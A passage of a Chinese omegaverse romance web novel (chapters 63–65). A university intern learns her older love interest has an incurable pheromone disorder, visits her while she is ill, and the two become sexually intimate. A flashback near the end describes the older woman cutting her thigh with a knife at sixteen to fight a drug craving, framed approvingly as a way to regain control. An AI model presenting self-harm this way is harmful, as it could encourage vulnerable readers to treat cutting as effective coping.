姜映眨了眨眼,有些担待不起她的感谢,如果不是女人拒绝了她,其实她也不会回来。 “你还要考几天?” “四天吧,好像是四天,”周青月问,“你明天就要搬去研究院的宿舍吗?” 她知道姜映要去实习的事,研究院离大学城这边比较远,坐地铁要一个半小时才能到,姜映不可能每天折返,在那边申请了住宿。 姜映说:“明天应该不会,后天吧,到时候我看情况。” 她其实不算是搬过去,只是带几件衣服,再买一些床单被罩和洗漱用品放在那边就行了,属于临时睡觉的地方。 周青月点头,聊了一会儿后,坐回位子继续复习了。 还有四天考完,还有四天她就解放了,年后进入大四下期就没课,也就不会有考试,等同于熬过这四天,她就毕业啦! 翻了几页书,忽然回头道:“我们都快毕业了,你和溪溪还没去我家玩过诶,等你们有空了,咱们约一下吧。” 姜映点头:“可以的,不过我实习期间可能没空,春节的时候才会休息。” “都行都行,只要能约就行,”周青月不在意细节,“我问问溪溪春节的安排。” 姜映嗯了一声,拿起衣物:“那我去洗澡了。” “你去吧。”周青月道。 姜映关上阳台门,洗完澡又洗了衣服,动作很轻,没有打扰周青月复习,半个多小时后她进了室内,眼神迷茫地坐在凳子上发了会儿愣,点开手机文档,开始认真分析今日她面对程卿言时出现的种种反应。 女人枕在她腿上,她有了想吻她的冲动,没有吻到,眸光会多次不由自主地落在女人唇上。 女人让她帮忙解内衣扣,还问她想不想看,因为自己的磨蹭没有看见,她好像有了懊恼遗憾的感觉。 在回来的路上,女人拒绝带她回家,她发现自己有些失落。 她想和她待在一起,有了想吻她,想触碰她的念头,想做一切让她开心的事。 为什么? 写了将近一万字的分析,在写到“喜欢她”三个字时,姜映眼睫猛得颤动,迷茫困惑的眼眸开始变得清晰,如同风中摇曳的烛火,在熄灭之际,风停天清,烛火有了燎原之势。 她喜欢她。 这种念头再一次出现,并且很强烈。 第一次出现是在元旦回云县之前,程卿言突然吻了她的脸,当时她并不确定自己是怎么想的,还问了周青月喜欢一个人是什么感觉。 那会儿她对程卿言没有多余的欲望,只觉得能见到对方就很满足了,现在呢? 她对她有欲望吗? 亲吻,触摸,或是更深入的触碰。 她有了这些念头,可她好像也能意识到,她虽然有了这些欲望,但目前这些欲望是能克制的,不是必须的。 她产生这些欲望是因为她知道女人会喜欢这些触碰,女人会因此感到开心,还是因为她自身在渴求? 心脏扑通扑通地跳得起来,比她跑在校运会时跑三千米还要快,姜映滚了滚喉咙,深深呼了一口气。 额头冒了汗,她起身接了一杯凉水,直到一整杯喝完,过速的心跳才缓了一些:“青月。” 周青月抬头:“怎么了?” 姜映想和她说她此刻的心情,她好像真的喜欢上程卿言了,可她有些不安,她想找人聊一聊。 张了张嘴,话又收了回去:“没什么,你要复习到几点?” 周青月打了个哈欠:“再复习半个小时吧,我太困了,实在熬不住了,你要睡了吗?” 姜映嗯了一声:“那你继续复习,我上床躺着了。” 不能在这会儿和周青月聊这些,会影响她复习,以及明天的考试。 “行,你明天也有事情要忙,确实得早点睡觉。”周青月道。 姜映闭着眼睛,躺了很久,心跳一直平复不下来,睡眠质量向来很好的她,差点彻夜未眠,到了后半夜快天亮那会儿,终于睡着了,又做了很多乱七八糟的。 梦见她独自一人狼狈地倒在海拔五千米以上的雪山上,意识模糊呼吸渐失,被风雪冻僵的眉宇却洋溢着幸福。 梦见了在庙里求的签文,解签师傅对她说的话。 梦见了程卿言,程卿言给她擦眼泪,凶巴巴地让她笑一笑。 姜映猛得睁开眼,呼吸急促,静静地躺了几分钟,待意识清醒,理智回笼时,她伸手摸了摸眼尾。 湿漉漉一片,就连枕头也被眼泪浸湿了。 她在哭什么。 因为她做的梦吗,可她的梦境并不吓人,只是有些混乱无厘头。 她胆子也不小,即使做了噩梦,不至于被吓哭。 姜映想不明白,拿起手机看了眼时间,马上七点了,不能再耽搁下去,起床洗漱换衣服,收拾好后背着电脑包离开了寝室,在校门口买了一杯豆浆和一个酱肉包,快速吃完后坐地铁去了研究院。 来实习的不止她一人,不过人也不多,只有三个。 研究院对实习生的要求比较高,宁缺毋滥,学历至少得研究生起,若不是姜映的简历优秀,想提前接触并且在未来争取她来研究院工作,是不会破格让她来实习的。 和负责管理实习的人对接好,了解了该注意的事项,姜映领了宿舍的钥匙,和其她实习生一起跟着负责人去了她们工作的区域。 节奏快,效率高,能进这里的人适应能力和抗压能力都比较强,要做的事情格外的多。 中午,姜映和师姐林池意见了一面,一起在食堂吃的午饭。 林池意小声告诉她:“带你的那位楚工脾气有一点点不好,要求很严格,骂起人来很凶,但是她很厉害,跟着她能学到很多东西,你如果不小心被她骂了,别放在心上,就当没听见,她性格就那样。” 她当初刚来实习时,带她的人不是楚工,楚工带的是她的同学,那段时间她同学被骂哭好几次,但最后学到的东西是最多的,进步也是最快的,所以她才给姜映提个醒。 姜映点头:“我知道了。” 饭后休息了十分钟,就进入了工作状态,和林池意说的差不多,楚工的要求很严。 姜映来实习之前,即使自学了很多在大学期间接触不到的知识,依旧不够,还差得很远,她对自己的要求也高,不能给别人添负担,压力比较大。 和她预料的不一样,当天晚上她没回学校,住进了研究院提供的宿舍,睡了两三个小时,剩下的时间都用来工作,努力赶上进度。 两天后的傍晚,她接到了夏云升的电话,立刻背着书包,打车回了学校。 夏云升在医学系实验楼旁边的亭子等她,瞧见她后,打招呼:“我在这儿。” 姜映小跑过去,跑得有些快,停下后喘了几口气。 夏云升笑着说:“你慢慢来也没事,我不着急。” 她不着急,急切的是姜映,她想早点知道程卿言吃的是什么药,见她呼吸顺畅了,夏云升这才开始给她细说白色小药丸的分析结果。 碚大医学系供学生使用的实验设备已经属于全国顶尖的那一批了,但无法鉴定出姜映给的那颗药的具体成分,药物成分很复杂,因此夏云升无法判断这个药是用来治疗什么的。 “我去找我师姐帮忙了,她的经验比我多,她说你这颗药很有可能和治疗omega的信息素紊乱有关,至于具体有何作用,她也不是很清楚,学校的设备检验不出来的。” “得找医学系的腺体学教授帮忙,拿去国内设备最先进最权威的地方,比如说腺体研究所,应该就能查出来了。” 这样就比较麻烦,得找很多关系帮忙,但人家不一定会帮这个忙。 和治疗omega的信息素紊乱症有关…… 姜映听到这句话时,眉心一颤,像有一只手紧紧地揪着她的心脏,一直往下拉,很疼,疼得她有些喘不过气,额头上冒出了细密的汗。 “姜映,姜映?”夏云升见她脸色不对,叫了她几声,“你怎么了?” 姜映回神,深呼一口气道:“我没事。” 夏云升嗯了一声,想了想道:“我能力有限,只能查出这些……” 姜映感激地看着她:“你已经帮我很多了,谢谢。” 虽然不知道这颗药到底有何作用,但知道和信息素紊乱有关,就已经足够了,困扰她许久的问题,也得到了解答。 梦境中所说的程卿言患有信息素紊乱是真实的。 “不用谢我,我也没做什么,”夏云升道,“你这颗药是哪来的,朋友还是亲戚的,omega的信息素紊乱症可不能轻视,目前无药可医,只能延缓恶化。” 姜映怔愣,重复一遍:“无药可医……” 夏云升是医学生,在这些方面了解到的事情比较多,还没在社会上公布的内部消息也知道一点,她想了想道:“目前算是无药可医吧,不过我上次陪我导师一起去开会,有教授提一嘴这个事,腺体研究所那边好像有新的进展了,进入试药阶段了,但是结果没对外公布,不知道是什么情况,说不准很快就攻克了。” 姜映紧握拳头,指甲深深陷进了柔里,掌心传来一阵刺痛,可她毫不在意,她不知道她是怎么走回寝室的,她也记不清一路上都想了些什么。 只记得一件事。 程卿言患有信息素紊乱症,医治信息素紊乱症的药物还没研制出来。 天色黑透,寝室这会儿没人。 姜映没开灯,亮着的手机屏幕是唯一的光源,她开始全网搜索与信息素紊乱有关的消息。 也拜托了夏云升,让夏云升找了腺体学专业的朋友,给她发了很多相关的论文,以及当前关于信息素紊乱的最新消息。 指尖有些颤抖,姜映总结能力强,认真地看了下去。 信息素紊乱症属于腺体基因缺陷造成的疾病,患有此类病症的omega在腺体开始发育时,病症就会慢慢出现,具有几年的潜伏期,有些患者症状出现的时间会早一点,十六七岁就会发作,晚一点的二十多岁才发作,不管何时开始发作,只要开始,目前医学史上最长的存活时间是十五年。 十五年。 程卿言是多少岁开始发作的? 进入了第几年? 女人即将三十,如果是十六七岁就开始发作,那只剩下一年不到的时间了。 姜映握着手机的指尖紧了又紧,心口猛得疼起来,好似那里有道一直被她忽略的已经结疤的伤口,疤痕突然裂开,鲜血涌了出来。 “哐当”一声响。 手机掉在了地砖上。 姜映俯身,有些慌乱地将其捡了起来,第一次拿到手中没有握稳,再度哐当一声响,掉了下去。 她皱着眉头看着地砖,看着手机膜上的裂痕,为什么她连手机也握不住,她可以握住什么。 深呼一口气,弯腰捡起手机,紧紧握在手里,快步跑出了寝室,到了碚大校门口,打车去了月泊林。 作者有话说: 见到姐姐,会喝橙汁 晚安,明天见 第64章 帮你 帮你 第六十四章 这两日姜映大部分时间都在忙实习的事情,一直待在研究院,除了买日常用品去超市逛了小会儿,没怎么休息过。 但也不是一点都不和程卿言联系。 姜映在吃饭的时候,会主动发消息说自己吃了什么,会问女人吃了没,睡觉之前她也会给女人发一些在研究院遇见的新鲜事,一直是保持联系。 她很忙,程卿言比她还要忙。 她发的消息,女人都无法一条一条地回复,女人会找一个时间集中回复她。 姜映昨晚提了一次要去找她,但程卿言那会儿正在别的省份出差,半夜才会回碚城。 因此这两日里她们没有见面,不是不想,而是事情太多了,没空见面。 打车去月泊林的路上,姜映一路安静,司机大姐性格外向开朗,喜欢和乘客聊天摆家常,和她说了几句话,她一直以来的礼貌会让她回复几句,可这次她没有回。 听见了,只是胸口堵得慌,不想张口。 侧眸一直看着窗外,高楼林立,热闹繁华。 可是这些声音都进不了她的心里,她的心里一片寂静,静得有瘆人。 她在想程卿言,在想程卿言是哪一年开始发的病,在想程卿言目前是什么状况。 如果是十六岁开始发作,那就只剩下一年的时间了。 姜映仔细回顾着近期程卿言的状态,完全不像一个只有一年时间的人能呈现出来的。 她深深呼了一口气,应该不会的。 应该不是在十六岁发的病,不会只剩下一年的时间,说不准是二十多岁开始发作的,说不准能突破医学史上的十五年。 而且她在网上查到过程卿言的双亲,当年活着的时候就是腺体科学领域的顶尖专家,治疗alph息素无能的强化剂就是她们组建的团队研究出来的。 她们应该不会放任程卿言的信息素紊乱发展,可能在程卿言很小的时候,就对程卿言的腺体进行了一些治疗,进行了一些干涉,情况应该比别的患者要好很多。 而且程卿言上次带她去体检,去的不是市里的三甲医院,去的是腺体研究所,她在那里做的全身体检,时间还是在晚上。 再考虑到女人的双亲是腺体学的专家,当年就在研究所工作,说明女人和腺体研究所一直有联系,并且关系不一般, 因此这些年女人一直接受的是全国顶尖的治疗,夏云升所提到了特效药如果研制成功了,女人也能在第一时间使用。 不会有事的,所有她已知的条件都表明女人目前的情况应该不是很糟糕,所有的条件都是积极的,肯定不会只剩下一年的时间,能等到特效药研制出来。 再不济,姜映愿意去相信她的梦境,梦境里不是说女人是这个世界的女主吗,女主怎么可能会出事。 女主若是出了事,世界就会崩溃,不复存在。 四十多分钟的路程,姜映的大脑疯狂运转,想了很多事情,不再像一个多小时前,确定程卿言患有信息素紊乱那会儿那样慌乱,她冷静了很多,心跳也渐渐恢复了正常。 但心脏上如同伤口裂开一般的疼痛并没有消失,疼的不厉害,一直存在。 姜映眉心轻轻颤了颤,伸手揉着心口。 想事情的时候,时间过得很快,她觉得才上车没一会儿,就到达了目的地,付钱下车,走到了月泊林的大门口的门卫处。 试了一下,和门卫沟通了一会儿,姜映进不去。 她虽然来过很多次了,但每次都是以访客的身份,得业主知门卫放行,她才能进去,门卫让她先联系业主。 姜映拿出手机点进了拨号界面,有一些犹豫要不要给女人打电话,她冲动地跑了过来,没有提前告知,这种行为会不会打扰到对方。 可是她想见她,很想。 犹豫片刻,她心跳有些快,一鼓作气按了拨通,嘟嘟嘟的声音在耳边响起,再归于平静,一道熟悉的女音提醒她拨打的电话暂时无人接通。 姜映挂断,等了两分钟,又打了一次电话,还是没人接。 她知道程卿言最近工作很忙,这会儿可能还没下班,在公司开会,也有可能是去参加重要的晚宴去了,或者是今天下班比较早,此刻已经睡下了。 要回去吗? 寒冷的夜风吹在脸上,姜映挺秀的鼻梁泛起了红,她没有回去,也没有再打电话,在月泊林大门旁边的木凳上坐下,静静地坐着。 这里是程倾言的家,即使见不到,她也想离她近一点,离她生活过的地方近一点,坐在这里,她感觉安心了很多。 她知道女人的家在哪,知晓女人在哪工作,有女人的电话号码,除此之外,她和她的就没了别的连接了。 她的生活环境,阅历,结交的朋友,没有任何重叠之处。 如果女人不接电话,她就找不到她,联系不上她。 姜映安静地看着她的双手,再一次冒出了手机掉落在地时的想法,她能抓住什么? * 秦助理提着包,快步走到月泊林的门卫处,她在物业那里做过登记,可以自由通行。 正要进去时又往后退了几步,转头看向右侧梧桐树下的凳子,觉得坐在那的人有些眼熟,走近后认真看了几眼,还真是她认识的人,她出声道。 “姜映。” 姜映抬头,颤睫看着她,打招呼:“秦助理晚上好。” “晚上好,”秦助理走到她身旁,“你坐在这儿干嘛?” 姜映道:“我来找程小姐。” 秦助理:“那你怎么不进去?” “我给她打了电话,她没接。”姜映道。 秦助理:“不是老板叫你过来的吗?” 姜映摇头:“我没有提前告诉她,我是突然过来的。” 秦助理看了看她被冷风吹红的鼻尖,应该等了有一阵儿了,这么冷的天一直待在这里也不是个事。 她是来给程倾言送文件的,出门之前她打了一通电话,当时程卿言是接了电话的,告诉她到了之后进门不要敲门,自行输入密码进去,她要睡一会儿,不要打扰到她。 有可能是这个原因,手机关了静音,才没接到姜映的电话。 她看着姜映的脸,纠结片刻道:“你和我一起进去。” 姜映啊了一声,眼睛一亮:“可以吗?” 按理说,这种行为当然是不行的,她只是助理,不能过多干涉老板的私事,老板给了她特权,她能随意进去,不代表她能带人进去。 她可是有着优秀职业素养的助理,从前也没做过这种事情,她有自己的原则,可她想到了那日程倾言枕在姜映腿上阖眼睡觉时,脸上露出的安稳放松的神情…… 姜映对程卿言而言是不一样的存在。 啊! 秦助理深呼吸,催促道:“趁我反悔之前,你快点站起来跟我进去。” 姜映也不磨蹭了,嗯了一声,迈着大步子走得非常快。 秦助理腿没她长,差点没跟上她,看了眼她的侧脸,在心里感慨,看来真是怕她反悔啊。 顺利进入小区,坐上接驳车前往程卿言居住的楼栋,姜映感激地看着她:“谢谢秦助理。” “不客气,”秦助理也不知道她这次的举动是对是错,心里有些怕怕的,万一老板生气了,要辞退她,那她怎么办啊,她上哪去找薪资待遇那么好的工作,开始后怕了,试探问道,“你和老板没吵架吧?” 姜映摇头:“没有。” 秦助理稍稍松了口气,告诉她:“你等会儿不要和我一起进去,等我出来了,你再悄悄进去,老板如果问你,你就说是你是翻墙进去的。” 姜映愣了一下,和她确认道:“真的要这样说吗,会不会露馅?” 当然会啊,姜映若是都能翻墙进来,轻而易举躲过了保安和监控,那谁还敢住在这里,基本的安全都得不到保障。 “我开玩笑的,放松一下我紧张的心情。” 她在坐上接驳车那会儿,就给程卿言发了消息,坦白忏悔了她此次的冲动行为,详细描述了事情的经过。 流落门口的姜映同学有多么的可怜,她内心是多久的纠结,最后才决定带姜映进去的。 别墅区面积大,接驳车速度较慢,得坐几分钟才能到,秦助理没事做,好奇道:“大晚上的,你怎么突然过来找老板,找她有急事?” 姜映如实说:“我很想她,想见她,想离她近一点。” 与情爱无关的想念,是很纯洁干净的想念,她能心平气和地说出口。 但秦助理想歪了,听得耳朵一红,又嗑到了,咯咯咯咯咯咯地笑了起来。 姜映困惑地看了眼她:? 到了目的地,接驳车停下。 秦助理咳了一声,转而说:“老板应该在睡觉,等会儿我放了文件就会离开,进去的时候,我们动作得轻一些,别吵到她了。” “好,”姜映点头,想了想又道,“拉面丸子见到我们叫出声,吵着她了这么办?” 秦助理说:“拉面丸子很通人性,在老板睡觉的时候,如果见着熟人来了,它们是不会大叫的,老板把它们训得很乖。” 程倾言训狗很厉害。 如秦助理所说,在院子里睡觉的拉面丸子见到她们来了,真的没有大声叫。 两狗有一段时间没见着姜映了,兴奋地跑了过来,小声地呜呜呜几声。 姜映摸了摸她它们的头,小声道:“等我有空了再来找你们玩。” 拉面丸子听得懂人话,好像知道她是来找主人了,没有缠着她,在院子里蹦哒几下,回了狗窝躺着了,歪着狗头看着姜映和秦助理开门进去,片刻后秦助理又走了出来,轻轻地关上门,坐着接驳车离开了。 姜映一直没出来,留在了屋内。 客厅的灯一直开着,透彻明亮,安安静静。 姜映环顾一圈,没有看见程卿言,应该还在卧室休息。 她有些犹豫是在客厅坐着等女人出来,还是进卧室进去看一看,可女人睡眠不好,容易惊醒,她若是贸然进去,即使动作很轻,也有可能吵醒她。 正纠结时,眸光落了茶几的感冒药上,旁边的垃圾桶里丢了感冒冲剂的药袋。 程卿言感冒了吗,严不严重,此刻是什么状况。 姜映眉心颤了颤,不再犹豫,轻手轻脚推开卧室门,走了进去。 卧室里昏黄复古的夜灯亮着,虽然不是很亮,但视线不受阻,能清楚地瞧见屋内的情况。 程卿言阖着眼睫,脸颊有些红润,静静躺着,薄薄的鹅绒被亲飘飘地覆盖在她身上,若不是能瞧见她露出来的脑袋,很难发现床上躺着一个人。 呼吸很轻,很轻。 姜映蹲下,眸光颤动,担忧地看着女人红润的脸颊,女人额头上出了细密的汗,睡着时的眉心也是轻轻拧着的,她伸出指尖放在女人鼻翼前探了探。 有呼吸,暗自松了一口气。 床头柜上放着体温枪,姜映看了眼上面写着的数字,三十七度三,属于低烧,不算严重,女人睡前也吃了药,因此可以不用叫醒她。 既然睡着了,就好好休息一会儿。 姜映没有闹出动静,蹲在她身旁,静静地守着她。 眼眸中波光颤动,流露出浓浓的情意和担忧,温柔地看着女人。 时间一分一秒地流逝着,不知睡了多久的程卿言有了要醒来的迹象,浓密的眼睫颤动着,缓缓睁开了眼。 睡眼惺忪,女生的脸就这样在她睁开眼那瞬出现在了视野里,像是没反应过来,她茫然地眨了眨眼。 意识不太清醒,以为在做梦或是出现了幻觉,嘴角扬了一下,又把眼睛闭上眯了几分钟,睡了会儿回笼觉,待大脑清醒后,再次睁开眼。 嗯? 坏东西怎么还在这里? 姜映见她清醒了,声音清润道:“姐姐。” 程卿言伸手摸了摸她的脸,热的,有温度,她又用力掐了一下,听见女生“嘶”了一声,疼的,不是梦。 姜映看出了她的疑惑,开口给她解释一下事情的经过,讲了之后,有些担忧地问道:“我没有提前告诉你,就跑来找你,你会不会生气?” 程卿言眉梢轻轻扬了扬,刚睡醒的她这会儿显得很温柔,说话的声音也是哑哑的,捏了捏alpha的耳朵:“过来一点。” “哦。”姜映靠近她。 程卿言双手从被子里伸出来,软绵绵地勾在alpha脖子上,将她拉向自己,脸颊蹭着女生的颈窝,一下一下。 姜映俯着身子,掌心撑在床单上,听见女人在她耳边,用很小的声音说。 “不会生气。” “见到你我很开心。” 话音落下后,女人像是给她奖励一般,轻轻吻了吻她的耳朵。 姜映呼吸一热,眼睫颤动,撑在床单上的手忽然一软,差点没稳住,压到了女人身上,有些着急道:“姐,姐姐……” 程卿言哑着桑子笑了一声:“耳朵这么敏感啊?” 姜映眨眼,抿了抿唇,有些不知道该怎么回复。 从前没人吻过她的耳朵,她不知道这算不算敏感。 程卿言松开她,坐了起来,睡得有点久,喉咙一直哑哑的不太舒服,开口道:“能帮我倒一杯温水进来吗?” 姜映应好,拿起床头柜上放着的已经空了的玻璃杯,她转身去了客厅。 在她出去这会儿,程卿言拿起放在枕边的手机看了看,睡前她开了静音,有两通姜映打开的未接电话,微信里有一些还未处理的工作消息,她暂时没去理会,先看了秦助理发来的消息。 瞧见秦助理对姜映是如何可怜,如何凄惨地在小区门口等着的描述,脑子里不由自主浮现出了这些画面,轻笑一声。 哪有这么夸张。 指尖轻点屏幕,回复了一条能让提心吊胆的秦助理彻底安心的消息:【做的好,加工资】 听见响动,将手机放下,抬眸看着走到她身边的女生,接过水杯喝了几口,缓解了喉咙的不适。 姜映觉得她唇色还有些苍白,拿起体温枪给她量了一下,三十七度一,已经没烧了,她松了口气。 程卿言说:“我没什么事,应该是昨夜坐飞机回来得太晚,没休息好,今天白天又累着了,所以身体才有些不舒服。” 吃了药,再睡一觉,这会儿已经缓过来,好了很多,只是身体还有些乏。 那怎么不告诉她? 姜映颤着眼睫看着她,抿了抿唇,有些想问女人,身体不舒服为什么不告诉她。 以为她还在担心,程卿言双手捧着她的脸揉了揉,安抚道:“真的没事,笑一下。” 姜映听她的话,朝着她笑了一下,问道:“你饿了吗,想不想吃点东西?” 程卿言摇头:“不饿,这会儿没胃口,不想吃。” “想再睡一会儿?”姜映耐心地问她的想法。 程卿言握着她的手玩:“应该睡不着了,不过还想躺着休息会儿,不想起床。” 姜映点头:“那你睡吧,我守着你。” “我身上出了汗,黏着很不舒服,”程卿言不喜欢这种感觉,但她此刻又不想费劲儿地起床去浴室洗澡,思忖片刻道,“你给我接一盆温水过来,我擦一擦再休息。” 主卧很宽敞,配备了她专用的浴室,姜映做事利索,在问了她习惯使用的水温后,很快端着盆子走了出来,放在凳子上后,主动开口问道:“要我帮忙吗?” 程卿言有些惊讶地看了她一眼,以为她听错了,或是理解错了女生的意思,确认道:“帮我什么?” 姜映耳朵有些红,眸光澄澈干净:“帮你擦汗。” 程卿言心口一颤,定睛看了她几秒,见她态度坚定,脸上没有任何退缩或是难为情。 前几日在酒店让她帮忙解内衣扣子,都会纠结一小会儿才答应,此刻居然主动提出要帮她擦汗,什么让她的转变这么大。 她近期对女生的刺激真的太过了,让她彻底开窍了? 还是说心疼她生病,不想她累着了,单纯地帮她分担事情? 不管如何,程卿言对于女生这个提议没有异议,她不是扭捏的人,而且她确实乏得不想动,欣然地接受她的服务,嗯了一声:“可以。” 她这会儿没穿内衣,身上只穿了底裤和一条墨绿色的吊带睡裙,都不用脱下来,很方便女生帮忙。 在她给了准确回复了,女生就开始挽起袖子,露出了光洁的小臂,毛巾在热水里浸了浸,片刻后拿起来拧干水分。 程卿言瞧着她拧水时,手臂因为用力显现出来的肌肉线条,眸光颤了颤,轻轻呼了一口气。 她在想什么,女生眼眸干净,很好心地帮忙,她也还病着,可不能有做那些事的心思。 她躺在床上,女生给她擦了脖子和手臂上的汗,不可避免地会碰到她的肌肤,她眼眸落在女生通红的耳垂,以及微微颤动的指尖上。 程卿言嘴角轻轻扬了扬,看来这人依旧是紧张害羞的,只是为了让她休息好,才克制害羞,装作镇定地帮了这个忙。 程卿言的心软软的,体贴道:“再把背擦一擦就行了,其它地方没流汗,不用擦。” 意思是胸口和小腹那一块不用擦。 姜映呼了口气,嗯了一声,她都听她的,女人坐起来配合她,睡裙下摆掀了起来,光洁的背脊露了一半出来。 她的眼睛没有乱看,在做这些事情时,耳朵虽然会红,可她心里没有别的杂念,眼眸干净澄澈,只有想尽快做好事情,让女人可以休息。 片刻后,该擦的地方都擦了,她道:“可以了。” 女人闭上眼睛,重新躺了下去,懒得理裙摆,因此细腻白皙的大腿露了出来,姜映在给她盖被子时,眸光不小心落在了她左腿接近腿根处的疤痕,一道将近十厘米长的疤痕。 从颜色可以看出,这道疤痕不是新伤,应该存在很多年了。 那么长的疤,得多疼。 姜映眼睫颤动,眼眶泛红,喉咙一哽,深深呼了一口气:“姐姐……” 程卿言阖着眼睫回应她:“嗯?” “你腿上的伤是怎么弄的?”姜映道。 程卿言不在意,平常道:“自己不小心划到了。” 自己划的吗,那么长的疤痕…… 姜映克制住声音的颤动,红着眼睛问道:“是不是很疼?” “不疼,”程卿言告诉她,“时间很久了,应该有十来年了,怎么可能会…嗯…” 女人话音中断,喉间发出一声闷哼,长睫猛得颤动睁开了眼,腰腹紧缩,掌心无力地按在对方头上推了推。 “姜…嗯……” alpha在吻她的疤痕。 作者有话说: 晚安,明天见 第65章 好多 好多 第六十五章 客厅的灯光一直亮着,从未熄灭。 壁钟上的时针落在数字十上,此刻十点零六分,距离姜映进来已经过去了两个小时。 主卧的门开了又关,关了又开,反复几次后,安静了半个多小时,客厅热闹起来。 拉面丸子从玩具筐里叼起了一粉一蓝的玩具球,热情兴奋地跑进了厨房,呜呜呜小声地叫着,让正在熬蔬菜小米粥的姜映陪它们玩。 拉面用毛茸茸的顶着女生的腿,丸子尾巴拍打着女生的腿,一左一右闹腾着。 有点疼。 姜映嘶了一声,垂眸看着它们道:“不许闹,我这会儿没空,等我有空了再陪你们玩。” 拉面丸子睁着水汪汪的大眼睛,可怜巴巴地看着她。 姜映心软,但这会儿她真的没空,她想凶又不知道怎么凶,只好道:“再不乖,等会儿你们主人出来了会收拾你们的,知道吗?” 不乖,主人,收拾。 拉面丸子听见了关键词,瞬间不闹了,离开厨房前呜呜叫了两声,并且白了姜映一眼,好似在说:捂脸跑人仗姐势,搬出主人来吓唬小狗,真坏坏坏 姜映听不懂狗语,不知道它们在吐槽她,她一边守着粥,一边在手机里回复着群里的工作消息,楚工已经在群里艾特她几次,那会儿她没碰手机,不知道有人找她,不过即使知道了,她应该也不会去回复。 想到这里,她耳朵微微泛起了红,有些不好意地呼了一口气,继续处理工作。 事情不仅多,还有难度,密密麻麻的数据让发热的脑子彻底冷静下来,没空去回味她方才在卧室做的那些事。 二十多分钟后,姜映关掉燃气,将热腾腾的粥盛了两碗起来凉着,找出糖罐,在其中一碗中撒了一些。 端到客厅的餐桌上放着,看了眼已经回狗窝睡觉的拉面丸子,群里的消息还在响,她坐在沙发上,神色严肃地看着手机屏幕,指尖不断打着字,和同事一起解决问题。 将近十一点那会儿,手机上跳出一条新的消息。 程卿言:【人呢,去哪了?】 姜映脸颊微红,立马站起来,放下手机,迈着步子走向卧室。 * 还没到凌晨,程卿言已经睡了两觉了,虽然时间都不长,但这两觉一觉比一觉睡得好。 第一觉睡得好是因为她身体不舒服,有些低烧,感冒药有助眠的作用。 睡了这一觉后,她的身体依旧有些乏,但她不觉得她还能睡着,只是不想起床,想躺着休息会儿,但姜映这个坏东西让她睡着了。 程卿言醒来后,伸手摸了摸旁边,凉的,没人。 她动了动腿,眉心轻轻拧了拧,呼口气坐了起来,掀开被子看一眼,裙摆在她睡觉时磨蹭到腰腹那一块堆叠着。 因此掀开被子那一瞬,她能看见隐秘处是何光景,也能感受到有种凉飕飕的感觉。 女人骂了几句。 狗东西居然不给找一条底裤穿着,就让她这样光着睡了。 呵。 平时看起来体贴又乖巧,竟做出这种事。 程卿言看了眼垃圾桶里的湿巾,好在还知道给她擦干净,不然她非得狠狠抽她一顿不可。 程卿言理了理裙摆,腰腹那一块还有些酸,靠着床头静静缓了一会儿。 卧室暖黄的夜灯落在她身上,她的眼眸落在她靠近腿根处的疤痕上,多年的伤疤早已恢复成了和其它肌肤一样颜色,但此刻却泛着异样的红。 指尖轻轻落上去抚了抚,还能感觉到内里有着轻微的跳动感,这块儿肌肤还处于敏感中,没有恢复。 alpha在疤痕上吻了太多次,不仅吻,还用温热的舌头心疼而怜惜的舔着,留下来的温度和炽热,到这会儿都没消失。 程卿言没想到姜映会突然吻向这道疤痕,事发突然,她毫无心里准备,疤痕又位于腿根处,这一片的肌肤本来就比较敏感。 在女生吻上去那一秒,她就有了点感觉,这种感觉还在可控范围内,如果她出声制止,没有她的允许,不会有后面的事情发生,她的腰这会儿也不会酸酸的。 当时她也没有想做什么,女生喜欢她,突然瞧见她的疤痕,应该是心疼了。 让alpha吻一吻疤痕就行了,她放在她头顶的掌心只要轻轻一推,就能推来她,她也打算这样做。 就在她要推开她时,alpha滚烫的泪水落在了她的疤痕上,泪水源源不断,一滴一滴落了下来,眼泪的温度顺着肌理,顺着血脉,瞬间蔓延全身,像是烫着了她的灵魂, 程卿言没说假话,疤痕是她很多年前亲手划伤的,那会儿她信息素紊乱症已经出现了,她意识到她不能再疯狂地依赖抑制剂,得戒掉抑制剂对她的控制,可过程并不容易,第一次独自在家里硬抗,难受得蜷缩在地板上,牙齿大颤,身上全是汗。 眼眶通红地看着抑制剂,就像一头饿了很久的野兽瞧见了食物,她实在忍不住,想用,理智处于崩溃边缘,她紧紧咬着唇,伸手过去,即将要碰到抑制剂时停了下来,转而拿起了旁边的水果刀,狠狠地朝着腿上胡乱划了一刀。 鲜血涌了出来,和汗水混在一起浸湿了衣服。 令人昏厥的痛意暂时取代了欲望,那是她第一次不用抑制剂,硬生生扛了过来。 第一次成功了,此后只要她愿意,她几乎都能扛过去,她摆脱了抑制剂对她的控住,她的理智再一次属于她自己。 伤口是她自己缝合处理的,不是很完美,愈合后的疤痕自然不好看,可是她没有想过要去掉这道疤,她一直留着。 作为对自己的警示,一直提醒着她,她得保持清晰,得掌控自己的意志和人生。 今晚之前,这道疤只有她和余简予知道,余简予知道疤痕的存在,但也没有机会瞧过。 姜映是除了她之外,第一个清楚地看见,触摸,并且吻上去的人。 吻上去时,程卿言的反应尚且在可控范围里,滚烫的眼泪落上去时,她忽然就受不了,眼眸泛起了红,恍惚地想起了十六岁的自己无助地拿起了刀划出这道伤口时,她眼尾流出来的那滴泪水。 她已经没有力气抬手去擦,只能任由那滴泪水落在冰凉的地板上。 她在想,如果当时姜映能陪在她身边,她的眼泪应该会落在她手心。 她在想,为什么当时姜映没有出现? 应该出现的。 当时她那么疼,姜映就该出现,就该陪着她,守着她。 可是她们之前相差了九岁,她十六岁那年,姜映才七岁,刚才小学的年纪,哪能来陪她。 她们之前为什么要相差这九岁,为什么不能和她一样大。 程卿言心口起伏着,缥缈的空虚感将她淹没,她渴望alpha能将其填满,当年不能陪着她,这会儿可以。 她想要的人此刻正吻着她的疤痕。 因此她没有推开她,不仅没有推开,还出声鼓励,她分开腿让她继续。 她以为她需要教她。 可姜映出乎她的意料,跪在她中间,握着她的脚踝盯着看,明明很羞涩,耳根和脸颊皆是红的,眼尾挂着眼泪,居然还直白地说:“姐姐今晚穿的是我买的……” 程卿言不知道她今晚要来找她,穿这一条纯粹是巧合。 女人想骂她,想让她闭嘴,可一张嘴所有的话语全变成了断断续续的哽咽声,连不成句。 